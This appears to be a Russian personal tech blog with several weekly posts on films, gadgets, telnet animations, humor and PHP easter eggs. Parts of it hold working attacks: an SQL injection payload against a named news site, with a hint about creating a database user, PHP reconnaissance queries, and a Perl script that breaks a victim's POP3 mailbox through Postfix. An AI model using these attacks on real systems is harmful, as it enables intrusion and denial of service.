Shrek mp3, Intertat crack, варган, сервера и XSpider

Всем привет!

«Шрек», надеюсь, успели посмотреть и полюбить? Если нет, срочно купите кассету, сходите в кинотеатр или воспользуйтесь любым другим способом посмотреть фильм.

Зелёный великан Шрек с ушами-рожками и широкой улыбкой в коричневой жилетке на фоне размытого леса; в правом нижнем углу — логотип «Shrek» и копирайт DreamWorks.
Shrek. Морда лица

Речь, собственно, не о Шреке и не о фильме. После просмотра фильма у меня возникло сильное желание заиметь в свой плейлист некоторые из саундтреков «Шрека», особенно «I have loved» и «Hallelujah». Оказалось, проблем с этим никаких нет — было бы желание и доступ в интернет.

В общем, треки из этого симпатичного мультфильма, в приличном качестве, можно скачать с некого эстонского сайта, а слова, чтобы в приливе чувств подпевать — найти на PopLyrics.Net. Enjoy!

Логотип сайта intetat.ru: зелёная карта региона и синий овал с названием сайта.
InterTAT

В Казани, где я живу, как и во многих других городах, открытие каждого нового сайта, крупнее pet-home-page — событие.

Меня такие события интересуют чаще, как прекрасный повод занять мои шаловливые ручонки поиском дыры в новоиспеченном сайте, чем открытие сайта само по себе.

28 декабря у нас открылся сайт электронной газеты Татарстана «Intertat». Сайт абсолютно уродский, как с точки зрения дизайна, так и с точки зрения наполнения и выбранного названия.

Первые два пункта становятся очевидными, стоит только взглянуть на сайт, чем мне не понравилось название, я скажу. Написано оно по-английски и только по-английски, из чего я делаю вывод, что для того, чтобы прочитать его по-русски, его надо перевести. Так вот. Слово «inter» переводится, как «хоронить», а «tat» — «плести кружево». Как корабль назовешь, так он и поплывет. Сколько не плети кружево, а проект себя уже похоронил. :)

Впрочем я отвлекся. Дыру в этом проекте я нашел так быстро, что мне даже скучно стало. Попробуйте, например, перейти в раздел «политика», а потом поставьте апостроф после URL’a и нажмите «Enter». Что видите на экране?

Я увидел вот это:

DB Error: unknown error SELECT * FROM news_xml WHERE ((type=2 OR type=1 OR type=5 OR type=7) AND ( sid ~~ 'ra'%') ) order by date DESC limit 10 OFFSET 0 [nativecode=ERROR: Unterminated quoted string ]

Как видно, апостроф не был заэкранирован и попал в текст как он есть. Что это нам дает? Сейчас объясню.

В вебе используется не так много видов баз данных, в основном это MySQL, PostgreSQL и Oracle. Слово OFFSET и оператор ~~ из перечисленного характерны только для Postgres. В SQL-диалекте этого СУБД есть, в отличие от того же MySQL, приятная возможность писать несколько запросов в строку, разделяя их через точку с запятой.

Таким образом, достаточно вклиниться в этот запрос так, чтобы он оставался верным с точки зрения синтаксиса и вставить в середину все что душе угодно, например, DELETE, UPDATE или, может быть, INSERT.

Сделать это нетрудно — нужно закрыть апостроф, обе скобки, поставить точку с запятой, вписать свой запрос, снова поставить ; и записать первую часть SELECTа с двумя открытыми скобками и апострофом. Вот, например, кусок, который нужно подставить в URL, чтобы получить новость с ID’ом 277:

'));SELECT * FROM news_xml WHERE id=277 AND (('%'='

Легко видеть, что, после подстановки запроса в строку, Postgres на вход получит следующее:

SELECT * FROM news_xml WHERE ((type=2 OR type=1 OR type=5 OR type=7) AND ( sid ~~ 'ra')); SELECT * FROM news_xml WHERE id=277 AND (('%'='%') ) order by date DESC limit 10 OFFSET 0

Еще интересной является идея попробовать сделать CREATE USER и законнектиться к базе данных снаружи, если администратор, конечно, оставил возможность соединения с Postgres извне. Хочется проблем — можете попробовать сделать это самостоятельно. :)

Что не так на картинке? Смотреть, после загрузки, долго и внимательно, до полного прозрения.

Ссылку прислал Romantik

Есть на земле нормальные программисты, а есть маньяки, вроде меня. :) Я где-то уже вскользь упоминал о Веб-сервере, написанном на PostScript. Оказывается, автор не одинок в своём стремлении приложить руки туда, где этого никто не ждет.

Вот вам прекрасная возможность убедиться в работоспособности сервера на AWK, Shell, DD/Sh, ну и на PostScript, конечно. :)

Какие там языки, стандартно входящие в дистрибутивы Unix, еще остались не у дел? Языки Perl и уж, тем более, C++ не предлагать — вот и вот. Как же сложно выпендриться в наше время… :)

Люблю сканеры безопасности. За юмор и проницательность. На скриншоте — результат сканирования одной из наших офисных машин сканером XSpider.

Скриншот терминала: подключение к PureFTPd 1.0.4, таймер 15 мин, подозрение на уязвимость host 8 версии 2.0.4.281.
XSpider

Как видно на машине используется сервер Pure-FTPD версии 1.0.4, причем это была самая последняя версия этого сервера на тот момент, а сканер «предсказывает» уязвимость в версии 2.0.4.281. Разработка наших программистов, не иначе ноу-хау какое-то, позволяющее узнавать об уязвимостях в продуктах задолго до их появления на свет.

Хочу внести ясность по поводу Shit Streamer. Вы можете как угодно просматривать использовать и исследовать его код. Но не надо меня заваливать письмами с просьбами рассказать, как это все работает, почему я сделал именно так и что значит

if (($str = $this->{$this->meths[$i]}($fp, $server, $query)) === true)

По PHP есть прекрасная дока, я распространяю код в открытом виде, дал кучу ссылок и сделал тестовый режим специально для тех, кто хочет увидеть, как именно происходит обмен данными. Еще и объяснять каждому, как это работает я не могу. Sorry.

Ручной инструмент для зачистки изоляции проводов, состоящий из двух рукояток и режущей части с отверстием для удаления изоляции.
Варган

Есть трудности с тем, что бы подарить на День рождения любимому сисадмину? Каждый год дарить пиво или мухобойку (чтобы отгонять юзеров), по-моему, не оригинально. Я предлагаю походить по магазинам экзотических музыкальных инструментов и найти варган.

Помните «бдынь-бдынь-бдынь» в нанайских народных? Вот! Это именно варган и есть. Очень удачный инструмент для камлания над мертвым сервером. На следующий год можно, в комплект, подарить бубен обшитый сырой кожей оленя. Думаю, любой админ будет рад такому подарку.

«Спасибо» за идею мне писать в мыло или форум.

У меня все! До следующей недели!

Оставить комментарий

Концы, iPad, telnet SW, failures for you

Язык — мой!
BOLK

BOLK в депрессии

Всем привет!
Как всем, наверное, уже известно, недавно я был в состоянии, которое близкие люди определили, как депрессию. Вот уж не знаю, что со мной происходило и что преобладало — желание, чтобы меня оставили в покое или потребность в общении.

В общем, местами я оправдывал написание своего ника, местами — был паинькой, сейчас уже все прошло и я опять повернулся к широкой общественности передней частью своего тела. Let’s rock!

Проект LJ, к которому я относился с некоторым опасением заимел-таки меня в свои поганые сети. До того, чтобы завести аккаунт я еще не дошел, но захожу туда теперь регулярно. С удивлением узнал, что многие мои друзья уже вовсю используют этот суррогат жилетки, куда можно поплакаться или сморкнуться. Но чего я уж вообще не ожидал, так это забрести случайно на страницу Тёмы Лебедева.

Вот пара выдержек, которые мне показались очень интересными:

А вот, почему-то, почти никто из москвичей и гостей столицы не знает, что в московском метро остановки объявляются мужским и женским голосом.

Мужским — в сторону центра. Женским — в сторону от центра.

Мнемоническое правило для запоминания простое — начальник зовет на работу (в центр), жена зовет домой (на окраину :-)

Со временем поговорки, как и любые длинные общеизвестные фразы, теряют свой «хвост» — люди просто ленятся его произносить. А зачем, если концовку и так все знают? В итоге усеченная фраза, пережив несколько поколений коренным образом меняет свой смысл. Так сейчас происходит, например, с фразами «не плюй в колодец», «слово — не воробей» и многими другими. У Тёмы есть любопытная коллекция таких фраз, привожу с инвертированием мата:

Голод не тетка — пирожка не подсунет (а иначе не понятно, почему не тетка, собственно)
Смех-смехом, а адзип к верху мехом (первая часть вошла в употребление как эвфемизм и осталась сама по себе)
Не учи ученого, поешь говна копченого (печеного)
Нам, татарам, все равно — что ьтабе подтаскивать, что хыннабе оттаскивать (вариант — «нам, татарам, одна йух…»)
Слово за слово, меух по столу
Кончай жедзип, начинай жёбе!
Кто старое помянет, тому глаз долой, а кто старое забудет — тому оба вон (эту часть все забывают :-)
Старый конь борозды не испортит… да неглубоко пашет (а не то, что его можно смело пускать в поле, как некоторые ошибочно думают)
Собаку съел, хвостом подавился (сегодня первая часть употребляется в значении «опытный человек»)
Я — не я, и лошадь не моя, и я не извозчик
Рука руку моет, да обе свербят
Чудеса в решете — дыр много, а выйти некуда
Ни рыба, ни мясо, ни кафтан, ни ряса
Губа не дура, язык не лопата
Хлопот — полон рот, а прикусить нечего
Собачья жизнь: брехать нужно, а есть нечего
Ума палата, да ключ потерян
Копейка ребром, покажется рублем
Дураку хоть кол теши, он своих два ставит
Лиха беда начало: есть дыра, будет и прореха
Два сапога пара, оба левые
Гладко было на бумаге, за забыли про овраги, а по ним ходить
Петух тоже думал на кухарке жениться, да в суп попал
В период тотальной безграмотности населения из всех искусств для нас важнейшими являются кино и цирк.
Не все коту масленица, наступит и великий пост.
Губа не дура, язык не лопата — знает где сладко.
И рыбку съесть, и на таратайке прокатиться.
Пьяному — море по колено, а в луже захлебнется.
Пьяному море по колено, а лужа по уши.
Повторенье — мать ученья, утешенье дураков.
Голод не тетка — в лес не прогонишь…
Рука руку моет, вор вора кроет.
Смелым бог владеет, а пьяным черт качает.
Все люди как люди, а мы как мыслете.
Жди толку, положа зубы на полку!

Кстати, никто не знает, причем здесь «мыслите» (это буква алфавита)? Может она писа́лась каким-то особом образом или обозначала что-то сама по себе?

Какие только сайты люди не делают! На странице Pi-Search можно попытаться найти любую последовательность (адрес телефона своего парикмахера, день смерти худшего недруга) в первом миллионе знаков числа «Пи» после запятой. День моего рождения нашелся в последовательности на 1326631-м знаке.

То, о чем я не раз размышлял случилось!

Сейчас в любой сколь угодно маленькой электронной фиговинке есть хотя бы дохленький, но свой микропроцессор. Многие из фиговинок обладают устройствами ввода и экранчиком, некоторые — приличным объемом памяти.

Ничего не мешает изменить функциональность такого устройства, загрузив в него собственную программу, если бы не одна мелочь… Если ваше устройство не зовется «PDA» или хотя бы «программируемый калькулятор», занести данные в память так, чтобы они начали исполняться, как программа, можно только с помощью специалиста с программатором и необходимым количеством серого вещества в черепной коробке. Фирмы по разным причинам не дают заливать в свои изделия сторонние программы.

iPOD organizer

Ситуация потихоньку меняется, я уже писал о DOOM’e в фотоаппарате, а вот недавно фирма Provue Development начала продавать Panorama iPod organizer — органайзер для… MP3-плейера iPod.

Видимо, возможность загрузить свой софт в этом плеере, как и фотоаппарате, была изначально штатной функцией, а не достигается каким-нибудь полуанальным способом. Это не может не радовать, по крайней мере меня. О возможности вносить какую-то иную функциональность в окружающие меня предметы я мечтаю уже давно.

Если такие времена когда-нибудь наступят, то в комплекте с «голубыми зубами» всех нас ждет, без сомнения весьма, интересное будущее. Интересно, для какой фиговины напишет свою первую программу мой ребенок? «Папа-папа, теперь твоё табло на руке будет отображать время по  календарю, а наушник — поздравлять со всеми албанскими праздниками на киргизском!». Весело будет, ага.

Хороший протокол Telnet, помимо букв, которые он умеет передавать на экран, экран этот он умеет очищать, стирать символы и линии, выдавать что-то в координатах и делать еще много всяких интересных штук. Есть умельцы, которые при его помощи добиваются появления на экране довольно оригинальных вещей. Всем, кого есть доступ наружу по протоколу telnet — смотреть.

Хинт от Кирилла:

Тут придумали как это в оффлайн посмотреть. В виндовом телнете есть запись Log’a. Вот если его включить, то все кадры будут писаться в файл. Затем этот файл можно открыть в том же notepad’e, подрегулировать высоту окна и нажав PgDn смотреть звёздные войны в оффлайне :)

От себя хочу добавить, что в SecureCRT запись лога тоже есть, так что совет вполне подходит и для этой программы.

А ведь и правда, для чего этот несекурный протокол, во времена SSH, еще нужен, как не для просмотра мультфильмов? :)

Ссылку прислал Kirill Gribunin.

Спам, как и любая реклама, иногда может быть довольно забавным. Вот, недавно упало в мой почтовый ящик:

…
Reply-To: Команда «Банкротство Онлайн»<bankr@bi.ru>
From: Команда «Банкротство Онлайн»<bankr@bi.ru>
…

Поздравляем Вас со светлым Валентиновым днем!
Любви Вам, радости и добра!
И пусть эта любовь будет с Вами всегда!
И даже на работе!
…
Ждем Вас!

Интересно, они сами додумались пожелать моей компании обанкротиться или это вышло случайно? Спасибо им, я так смеялся, что даже не стал стримить шит. :)

Кстати, о SS. Пришло первое письмо от читателя с адресами для SS. Список обновлен, но, к сожалению, имя этого человека утеряно в пень. Неизвестный герой! Откликнись! Хочу разместить здесь твое гордое имя!

На странице, посвященной языку Modula-3 нашел:

Modula «bugs’n’patches»

Буквальный перевод «баги и патчи для исходников Modula-3». Скачай себе новых багов! Что ж, по крайней мере честно. :)

Создал у себя на одном из Линух-серверов файл /dev/пень — линк на /dev/null, теперь всех, кто придет с глупыми просьбами буду посылать в пень. Можно еще создать линк с менее приличным словом и посылать всех в п… или ж… Или комбинировать.

/dev/пень

Всем пока и удачного понедельника!

Оставить комментарий

PHP eggs, Posfix+Washington POP = sux, P@l.Mate, 4.04

Я был замечен в ожидании чуда…
«Сегодня ночью»

Всем привет!

Жизнь чудная штука. В последний месяц я один раз чуть не погиб, в первый раз сходил на балет, в первый раз съел пиццу с анчоусами, попробовал осьминогов, выковыривал ртуть из-под паркета с паркетом вместе, мёрз, в очередной раз перекрашивался, увидел самого Гарри Поттера, потел, дрался с кошкой, двигал мебель, делал покупки, был в депрессии и занимался еще черт знает чем.

Этот месяц подходит к концу, приближается первое апреля. С чем я вас и поздравляю. Середина весны и минус четыре за окном. Большая просьба — первого апреля мне не писать, ибо все письма будут автоматически считаться розыгрышем и перемещаться в /dev/пень. :)))

Каждый, кто хоть раз видел результат работы функции phpinfo() в PHP, задумывался, наверное, как подгружаются картинки в сформированный HTML-документ. Для тех, кто об этом не задумывался, скажу. Картинка с логотипом PHP подгружается запросом ?=PHPE9568F34-D428-11d2-A769-00AA001ACF42 к тому же PHP-файлу, а логотип Zend — запросом ?=PHPE9568F35-D428-11d2-A769-00AA001ACF42.

Отступление. Кстати, я посмотрел исходники и обнаружил, что запрос ?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000 выводит имена разработчиков PHP, а ?=PHPE9568F36-D428-11d2-A769-00AA001ACF42 — пасхальное яйцо, фото какого-то мужика с карандашами во рту.

Запрос работает применительно к любому PHP-файлу, вне зависимости есть там внутри функция phpinfo или нет. Эту замечательную особенность можно использовать.

Во-первых, с ее помощью можно узнать является ли страница результатом работы программы на PHP или, может быть, имеет PHP-включения, куда передаются параметры запроса.

Во-вторых, если администратор сервера запретил показ версии PHP в сигнатуре сервера, просматривая страницу с модулями, можно попробовать идентифицировать версию PHP с некоторой точностью.

При атаке на сервер иногда пригождается любая, даже самая незначительная, на первый взгляд, информация. При помощи этих «магических» запросов можно многое узнать о способе, выбранным разработчиком для представления динамического контента, что может в некоторых случаях оказаться полезным.

Вчера, разбирая протокол SMTP и экспериментируя с отправкой почты из telnet’а, я неожиданно наткнулся на одну интересную последовательность, которая приводит к весьма любопытным последствиям. Не знаю подвержены ли данной уязвимости другие системы, у меня она проявляется на конфигурации Postfix 20010525-alt2 — Washington POP3 v2000.70.

SMTP-сервер Postfix’a ограничивается минимальными проверками на синтаксис полей SMTP. Таким образом становится возможным формирование письма, содержащего в своем заголовке весьма странные символы. В таком виде письмо попадает в спул, где дожидается, когда его заберет POP или IMAP — сервер.

Вашингтонскому POP3-серверу, при попытке взять такое письмо становится дурно. Ниже — пример попытки забрать такое письмо с сервера.

[root@du bulk_mailer]# telnet xxx.xxx.xxx.xxx 110
Trying xxx.xxx.xxx.xxx...
Connected to thug.private (xxx.xxx.xxx.xxx).
Escape character is '^]'.
+OK POP3 thug v2000.70MdkRE server ready
USER ********
+OK User name accepted, password please
PASS ********
-ERR Unable to open user's INBOX
Connection closed by foreign host.

Необходимое условие — для использования этой уязвимости, письмо с вредоносными кодом должно быть первым в mail box’e. Эксплоит на Perl’e, использующий данную уязвимость приведен ниже.

use IO::Socket;
die "Usage: $0 <e-mail> <server>\n" unless @ARGV == 2;

$socket = IO::Socket::INET->new(PeerAddr => $ARGV[1],
                                PeerPort => 25,
                                Proto => "tcp",
                                Type => SOCK_STREAM);

print "<< ".<$socket>;
for ('HELO domain', "MAIL FROM: "."\10" x 1000, "RCPT TO: $ARGV[0]", 'DATA', '.')
{
        print $socket "$_\n";
        print ">> $_\n<< ".<$socket>;
};

close $socket;
Фиолетовый карманный компьютер Psion Series 5 с экраном, на котором отображены часы, иконка телефона и клавиатура устройства.
P@l.Mate

Движимый отличной рекламой в Кулере органайзера со скромным названием «P@l.Mate». Я решил этот чудный девайс купить.

Если кто-то не читает Кулера, то я вкратце расскажу о чем идет речь. P@l.Mate позиционируется, как самый маленький в мире PDA с touch screen. PDA, в полном смысле этого слова он, конечно, не является, но что вы хотели за такую цену?

За размерами 45×10×70 мм скрываются функции часов, будильника, записной книжки, планировщика, калькулятора, гороскопа, плюс пара игр. Управление осуществляется шестью белыми кнопками на морде и прикосновениями к экрану. Ввод текстовой информации осуществляется через небольшую клавиатурку (на скриншоте ее плохо, но видно), куда надо тыкать специальным стилом, которое мы тут же окрестили «зубочисткой». Кстати, стило довольно просто потерять, так что в комплекте их целых три штуки.

Стоит это чудо 539 рублей и продается в корпусах трех цветов: красного, синего и серого.

Выдающейся особенностью органайзера является возможность забирать данные с другого miniPDA или, а вот это уже интересно, с персонального компьютера. Но и это меня бы ничем не удивило, если бы не способ, которым это все осуществляется.

В попе у «P@l.Mate» торчит пара из фотоэлемента и светодиода, когда «P@l.Mate» готов к обмену информации, передающая сторона моргает туда свой идентификатор и органайзер понимает с кем он сейчас будет иметь дело. Если это PC, светодиод не используется, так как у PC в стандартном комплекте нет ничего, что бы могло принимать его мигание, но, думаю, ничего не мешает собрать приставку, которая будет инициировать двухсторонний обмен с PC, прикинувшись другим miniPDA… впрочем, я отвлекся.

Для того, чтобы органайзер получил информацию ему в фотодиод надо чем-то помигать. Для этого с сайта «Mini-PDA.com» скачивается программа, которая умеет мигать экраном или клавиатурными лампочками, делая в нужных местах паузы и реверансы.

Ессно, никакого подтверждения приема нет, а коды, исправляющие ошибки, видимо из соображений стоимости, внедрять не стали. Поэтому в некоторых случаях, примерно в одном из 20—30 закачка информации заканчивается ошибкой. Но это, на самом деле, не страшно.

Брал я органайзер в подарок ████, она давно просила найти ей симпатичный блокнот, вот я и нашел… :) После нескольких дней совместного ;) использования могу поделиться впечатлениями.

Дарить P@l.Mate человеку с приличным размером запястья не стоит — в ладони органайзер будет теряться, зато тем, у кого зрение далеко не идеальное, особо опасаться не стоит — буквы и цифры на экране куда больше, чем, например, на наручных электронных часах.

Беда всех органайзеров и многих PDA — звук, не обошел стороной и эту модель. Ничего особо ужасного, но иногда раздражает. Звук можно отключить, но тут вас поджидает сюрприз номер раз — будильник и планировщик, при попытке напоминания, будут заходиться в беззвучном крике.

Сюрприз номер два — в игры играть довольно скучно. Из всего набора — «однорукий бандит» и «гонки» играть, не рискуя повредиться рассудком, можно только в «бандита», но и это занятие быстро приедается… Впрочем, может быть я просто не люблю такие игры. Вот, например, советский волк с корзиной (помните такого?) наводил на меня скуку.

Сюрприз номер три. Под Windows XP синхронизация не проходит — экран мигает, но органайзер жалуется на невозможность определить устройство. Впрочем, может быть мне просто не повезло.

Сюрприз номер четыре. Эта штука неожиданно хорошо выглядит и ей даже можно пользоваться! Это действительно сюрприз! Рекомендую однозначно. Сам я, как вы наверное уже поняли, покупал P@l.Mate в «Болеро» — есть доставка почтой или курьером, в последнем случае деньги можно отдать прямо курьеру, очень удобно!

Адрес самой популярной страницы в интернете знают все — это та, где написано «404 Not Found» ;). Номер этой ошибки можно, при наличии фантазии, записать, как 4.04, что можно расшифровать, как 4-е апреля.

Кому-то из создателей сайта «Bonjour» пришла в голову светлая идея организовать 4-го апреля чисто интернетовский праздник. Учитывая, что 4-е апреля — день покровителя интернета святого Исидора, эта мысль мне кажется совсем недурственной.

Предлагаю всем прочувствовать сию светлую идею и отпраздновать этот день, как полагается — виртуальными пьянками и киберпопойками. Всех с наступающим!

Новость прислал Alexander Katalymov aka Kauk.

Как водится — удачных выходных! Пишите в мыло и на форум.

Оставить комментарий

← сюда туда →